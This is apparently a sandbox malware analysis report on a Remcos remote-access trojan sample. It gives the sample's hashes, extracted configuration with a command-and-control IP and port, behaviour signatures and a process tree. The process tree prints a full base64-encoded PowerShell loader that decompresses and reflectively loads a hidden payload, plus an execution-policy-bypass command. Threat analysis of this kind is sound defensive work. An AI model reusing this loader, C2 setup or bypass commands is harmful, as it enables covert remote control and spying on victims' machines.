Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/04/2024, 01:49

General

  • Target
    a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe
  • Size 515KB
  • Sample240428-b82b4adh61
  • SHA256 a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • remcos

Botnet
  • RemoteHost

C2
  • 172.94.101.172:6238

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-ZY6SQA

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) 16 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe
    "C:\Users\Admin\AppData\Local\Temp\a964f632cb0e524f5f7784a1b99da4bbde98216128e74713eb12851b83073075.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Windows\SysWOW64\wscript.exe
      "wscript.exe" "C:\Users\Admin\start.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:748
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3688
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgImNzZy5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\csg.ps1' -Encoding UTF8"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4444
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\csg.ps1"
          4⤵
          • Drops startup file
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4548
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"
            5⤵
              PID:1880

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 1KB
          • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 5d5864d2a42b0c9eadc7f2f8934ba2a616f64aab5806db2aa43f1781c442a948
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_rcdrnrvg.b4c.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rcdrnrvg.b4c.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          csg.ps1

          • Path C:\Users\Admin\csg.ps1
          • Size 2KB
          • SHA256 40ac09ba5daa614c666e524e6a31369296a718f8eb1117ea46837a1d97091c50
          • MD5 SHA1 SHA512

          start.vbs

          • Path C:\Users\Admin\start.vbs
          • Size 170B
          • SHA256 087f43e7f9f78bbeb1050cdbfaeb3d23ad7b4b742d6ef91229b8824a20daaee6
          • MD5 SHA1 SHA512

          temp.bat

          • Path C:\Users\Admin\temp.bat
          • Size 518KB
          • SHA256 c8ac67ae12680fa0dbfe31a8c76793de12f3ef74f1c5e1f47785f7e5828dd364
          • MD5 SHA1 SHA512 SSDEEP

          memory/1880-64-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-58-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-61-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-63-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-51-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-60-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-59-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-62-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-57-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-56-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-65-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-55-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-66-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-67-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-54-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/1880-53-0x0000000000400000-0x0000000000482000-memory.dmp

          memory/4444-22-0x0000000005C60000-0x0000000005FB4000-memory.dmp

          memory/4444-11-0x0000000005B80000-0x0000000005BE6000-memory.dmp

          memory/4444-6-0x0000000002D40000-0x0000000002D76000-memory.dmp

          memory/4444-8-0x0000000004F10000-0x0000000004F20000-memory.dmp

          memory/4444-7-0x0000000075360000-0x0000000075B10000-memory.dmp

          memory/4444-9-0x0000000005550000-0x0000000005B78000-memory.dmp

          memory/4444-10-0x00000000054A0000-0x00000000054C2000-memory.dmp

          memory/4444-30-0x0000000075360000-0x0000000075B10000-memory.dmp

          memory/4444-26-0x0000000006650000-0x000000000666A000-memory.dmp

          memory/4444-25-0x0000000007A60000-0x00000000080DA000-memory.dmp

          memory/4444-24-0x0000000006150000-0x000000000619C000-memory.dmp

          memory/4444-23-0x0000000006110000-0x000000000612E000-memory.dmp

          memory/4444-12-0x0000000005BF0000-0x0000000005C56000-memory.dmp

          memory/4548-48-0x0000000007340000-0x00000000073FC000-memory.dmp

          memory/4548-41-0x0000000005970000-0x0000000005CC4000-memory.dmp

          memory/4548-44-0x0000000007140000-0x00000000071D6000-memory.dmp

          memory/4548-45-0x00000000070F0000-0x0000000007112000-memory.dmp

          memory/4548-46-0x0000000007790000-0x0000000007D34000-memory.dmp

          memory/4548-50-0x0000000004DE0000-0x0000000004DEA000-memory.dmp